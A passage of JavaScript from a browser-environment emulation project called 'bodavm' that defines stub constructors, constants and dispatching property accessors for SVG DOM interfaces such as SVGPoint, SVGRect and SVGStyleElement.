(){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMPathElement'].prototype, "SVGMPathElement", "href_get", arguments)}, set:undefined},'prototype'); - -// SVGNumber对象 -bodavm.memory.globalobj['SVGNumber'] = function SVGNumber(){if (!(this instanceof SVGNumber)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGNumber'], "SVGNumber"); -bodavm.toolsFunc.defineProperty('SVGNumber', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumber'].prototype, "SVGNumber", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumber'].prototype, "SVGNumber", "value_set", arguments)}},'prototype'); - -// SVGNumberList对象 -bodavm.memory.globalobj['SVGNumberList'] = function SVGNumberList(){if (!(this instanceof SVGNumberList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGNumberList'], "SVGNumberList"); -bodavm.toolsFunc.defineProperty('SVGNumberList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGNumberList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "replaceItem", arguments)}},'prototype'); - -// SVGPoint对象 -bodavm.memory.globalobj['SVGPoint'] = function SVGPoint(){if (!(this instanceof SVGPoint)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPoint'], "SVGPoint"); -bodavm.toolsFunc.defineProperty('SVGPoint', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPoint', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPoint', "matrixTransform", {configurable:true, enumerable:true, writable:true, value:function matrixTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "matrixTransform", arguments)}},'prototype'); - -// SVGPointList对象 -bodavm.memory.globalobj['SVGPointList'] = function SVGPointList(){if (!(this instanceof SVGPointList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPointList'], "SVGPointList"); -bodavm.toolsFunc.defineProperty('SVGPointList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPointList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "replaceItem", arguments)}},'prototype'); - -// SVGPolygonElement对象 -bodavm.memory.globalobj['SVGPolygonElement'] = function SVGPolygonElement(){if (!(this instanceof SVGPolygonElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPolygonElement'], "SVGPolygonElement"); -bodavm.memory.globalobj['SVGPolygonElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGPolygonElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGPolygonElement', "points", {configurable:true, enumerable:true, get:function points (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolygonElement'].prototype, "SVGPolygonElement", "points_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPolygonElement', "animatedPoints", {configurable:true, enumerable:true, get:function animatedPoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolygonElement'].prototype, "SVGPolygonElement", "animatedPoints_get", arguments)}, set:undefined},'prototype'); - -// SVGPolylineElement对象 -bodavm.memory.globalobj['SVGPolylineElement'] = function SVGPolylineElement(){if (!(this instanceof SVGPolylineElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPolylineElement'], "SVGPolylineElement"); -bodavm.memory.globalobj['SVGPolylineElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGPolylineElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGPolylineElement', "points", {configurable:true, enumerable:true, get:function points (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolylineElement'].prototype, "SVGPolylineElement", "points_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPolylineElement', "animatedPoints", {configurable:true, enumerable:true, get:function animatedPoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolylineElement'].prototype, "SVGPolylineElement", "animatedPoints_get", arguments)}, set:undefined},'prototype'); - -// SVGPreserveAspectRatio对象 -bodavm.memory.globalobj['SVGPreserveAspectRatio'] = function SVGPreserveAspectRatio(){if (!(this instanceof SVGPreserveAspectRatio)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPreserveAspectRatio'], "SVGPreserveAspectRatio"); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_NONE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMIN", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMIN", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMIN", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMID", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMID", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMID", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMAX", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMAX", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMAX", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_MEET", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_SLICE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "meetOrSlice", {configurable:true, enumerable:true, get:function meetOrSlice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "meetOrSlice_get", arguments)}, set:function meetOrSlice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "meetOrSlice_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_NONE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMIN", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMIN", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMIN", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMID", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMID", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMID", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMAX", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMAX", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMAX", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_MEET", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_SLICE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); - -// SVGRadialGradientElement对象 -bodavm.memory.globalobj['SVGRadialGradientElement'] = function SVGRadialGradientElement(){if (!(this instanceof SVGRadialGradientElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRadialGradientElement'], "SVGRadialGradientElement"); -bodavm.memory.globalobj['SVGRadialGradientElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGradientElement'].prototype; -bodavm.memory.globalobj['SVGRadialGradientElement'].__proto__=bodavm.memory.globalobj['SVGGradientElement']; -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_REPEAT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_REFLECT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_PAD", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "cx", {configurable:true, enumerable:true, get:function cx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "cx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "cy", {configurable:true, enumerable:true, get:function cy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "cy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "r", {configurable:true, enumerable:true, get:function r (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "r_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fx", {configurable:true, enumerable:true, get:function fx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fy", {configurable:true, enumerable:true, get:function fy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fr", {configurable:true, enumerable:true, get:function fr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fr_get", arguments)}, set:undefined},'prototype'); - -// SVGRect对象 -bodavm.memory.globalobj['SVGRect'] = function SVGRect(){if (!(this instanceof SVGRect)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRect'], "SVGRect"); -bodavm.toolsFunc.defineProperty('SVGRect', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRect', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRect', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRect', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "height_set", arguments)}},'prototype'); - -// SVGRectElement对象 -bodavm.memory.globalobj['SVGRectElement'] = function SVGRectElement(){if (!(this instanceof SVGRectElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRectElement'], "SVGRectElement"); -bodavm.memory.globalobj['SVGRectElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGRectElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGRectElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "rx", {configurable:true, enumerable:true, get:function rx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "rx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "ry", {configurable:true, enumerable:true, get:function ry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "ry_get", arguments)}, set:undefined},'prototype'); - -// SVGScriptElement对象 -bodavm.memory.globalobj['SVGScriptElement'] = function SVGScriptElement(){if (!(this instanceof SVGScriptElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGScriptElement'], "SVGScriptElement"); -bodavm.memory.globalobj['SVGScriptElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGScriptElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGScriptElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGScriptElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "href_get", arguments)}, set:undefined},'prototype'); - -// SVGSetElement对象 -bodavm.memory.globalobj['SVGSetElement'] = function SVGSetElement(){if (!(this instanceof SVGSetElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSetElement'], "SVGSetElement"); -bodavm.memory.globalobj['SVGSetElement'].prototype.__proto__=bodavm.memory.globalobj['SVGAnimationElement'].prototype; -bodavm.memory.globalobj['SVGSetElement'].__proto__=bodavm.memory.globalobj['SVGAnimationElement']; - -// SVGStopElement对象 -bodavm.memory.globalobj['SVGStopElement'] = function SVGStopElement(){if (!(this instanceof SVGStopElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStopElement'], "SVGStopElement"); -bodavm.memory.globalobj['SVGStopElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGStopElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGStopElement', "offset", {configurable:true, enumerable:true, get:function offset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStopElement'].prototype, "SVGStopElement", "offset_get", arguments)}, set:undefined},'prototype'); - -// SVGStringList对象 -bodavm.memory.globalobj['SVGStringList'] = function SVGStringList(){if (!(this instanceof SVGStringList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStringList'], "SVGStringList"); -bodavm.toolsFunc.defineProperty('SVGStringList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "replaceItem", arguments)}},'prototype'); - -// SVGStyleElement对象 -bodavm.memory.globalobj['SVGStyleElement'] = function SVGStyleElement(){if (!(this instanceof SVGStyleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStyleElement'], "SVGStyleElement"); -bodavm.memory.globalobj['SVGStyleElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGStyleElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGStyleElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStyleElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStyleElement', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "title_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStyleElement', "sheet", {configurable:true, 